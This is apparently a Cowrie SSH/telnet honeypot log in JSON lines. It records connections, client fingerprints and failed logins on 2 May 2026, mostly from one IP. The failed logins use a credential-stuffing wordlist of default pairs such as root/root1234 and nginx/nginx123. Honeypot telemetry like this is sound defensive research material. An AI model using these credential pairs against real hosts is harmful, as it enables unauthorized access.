{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60606,"dst_ip":"159.203.135.109","dst_port":22,"session":"1aef9e4321a0","protocol":"ssh","message":"New connection: 45.156.87.254:60606 (159.203.135.109:22) [session: 1aef9e4321a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:57.487460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:57.491247Z","src_ip":"45.156.87.254","session":"1aef9e4321a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:57.580537Z","src_ip":"45.156.87.254","session":"1aef9e4321a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:57.613256Z","src_ip":"186.30.115.187","session":"b2b93483be88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:57.829550Z","src_ip":"45.156.87.254","session":"1aef9e4321a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:39:58.914151Z","src_ip":"45.156.87.254","session":"1aef9e4321a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.618251323699951,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:02.091051Z","src_ip":"20.123.41.163","session":"eeb6e31f1891","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59382,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b3292312e1d","protocol":"ssh","message":"New connection: 45.156.87.254:59382 (159.203.135.109:22) [session: 8b3292312e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:02.665442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:02.670337Z","src_ip":"45.156.87.254","session":"8b3292312e1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:02.811325Z","src_ip":"45.156.87.254","session":"8b3292312e1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:03.087250Z","src_ip":"45.156.87.254","session":"8b3292312e1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:04.176598Z","src_ip":"45.156.87.254","session":"8b3292312e1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":59222,"dst_ip":"10.17.0.5","dst_port":23,"session":"af5a4d969351","protocol":"telnet","message":"New connection: 20.123.41.163:59222 (10.17.0.5:23) [session: af5a4d969351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:05.138662Z"}
{"eventid":"cowrie.session.closed","duration":2.610023260116577,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:07.748644Z","src_ip":"20.123.41.163","session":"af5a4d969351","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59420,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfea80cab08b","protocol":"ssh","message":"New connection: 45.156.87.254:59420 (159.203.135.109:22) [session: bfea80cab08b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:08.214855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:08.219772Z","src_ip":"45.156.87.254","session":"bfea80cab08b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:08.358756Z","src_ip":"45.156.87.254","session":"bfea80cab08b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:08.857677Z","src_ip":"45.156.87.254","session":"bfea80cab08b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:09.945692Z","src_ip":"45.156.87.254","session":"bfea80cab08b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.607658863067627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:13.599104Z","src_ip":"185.145.252.179","session":"367443ab6fbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":34876,"dst_ip":"159.203.135.109","dst_port":22,"session":"337fd4a5b262","protocol":"ssh","message":"New connection: 45.156.87.254:34876 (159.203.135.109:22) [session: 337fd4a5b262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:14.297593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:14.305568Z","src_ip":"45.156.87.254","session":"337fd4a5b262","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:14.396500Z","src_ip":"45.156.87.254","session":"337fd4a5b262","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:14.669840Z","src_ip":"45.156.87.254","session":"337fd4a5b262","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:15.757166Z","src_ip":"45.156.87.254","session":"337fd4a5b262","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46982,"dst_ip":"159.203.135.109","dst_port":22,"session":"d740c175b273","protocol":"ssh","message":"New connection: 45.156.87.254:46982 (159.203.135.109:22) [session: d740c175b273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:20.034460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:20.039831Z","src_ip":"45.156.87.254","session":"d740c175b273","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:20.124578Z","src_ip":"45.156.87.254","session":"d740c175b273","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:20.377999Z","src_ip":"45.156.87.254","session":"d740c175b273","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:21.470162Z","src_ip":"45.156.87.254","session":"d740c175b273","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46996,"dst_ip":"159.203.135.109","dst_port":22,"session":"96033d29193d","protocol":"ssh","message":"New connection: 45.156.87.254:46996 (159.203.135.109:22) [session: 96033d29193d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:26.019525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:26.032279Z","src_ip":"45.156.87.254","session":"96033d29193d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:26.117184Z","src_ip":"45.156.87.254","session":"96033d29193d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:26.383927Z","src_ip":"45.156.87.254","session":"96033d29193d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:27.474964Z","src_ip":"45.156.87.254","session":"96033d29193d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":41664,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab2ba147a596","protocol":"ssh","message":"New connection: 45.156.87.254:41664 (159.203.135.109:22) [session: ab2ba147a596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:31.709863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:31.715067Z","src_ip":"45.156.87.254","session":"ab2ba147a596","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:31.800442Z","src_ip":"45.156.87.254","session":"ab2ba147a596","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:32.054197Z","src_ip":"45.156.87.254","session":"ab2ba147a596","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:33.156953Z","src_ip":"45.156.87.254","session":"ab2ba147a596","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":41672,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecf9429f3f32","protocol":"ssh","message":"New connection: 45.156.87.254:41672 (159.203.135.109:22) [session: ecf9429f3f32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:36.990979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:37.000091Z","src_ip":"45.156.87.254","session":"ecf9429f3f32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:37.085277Z","src_ip":"45.156.87.254","session":"ecf9429f3f32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"systemd","message":"login attempt [systemd/systemd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:37.467186Z","src_ip":"45.156.87.254","session":"ecf9429f3f32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:40:38.557402Z","src_ip":"45.156.87.254","session":"ecf9429f3f32","protocol":"ssh"}
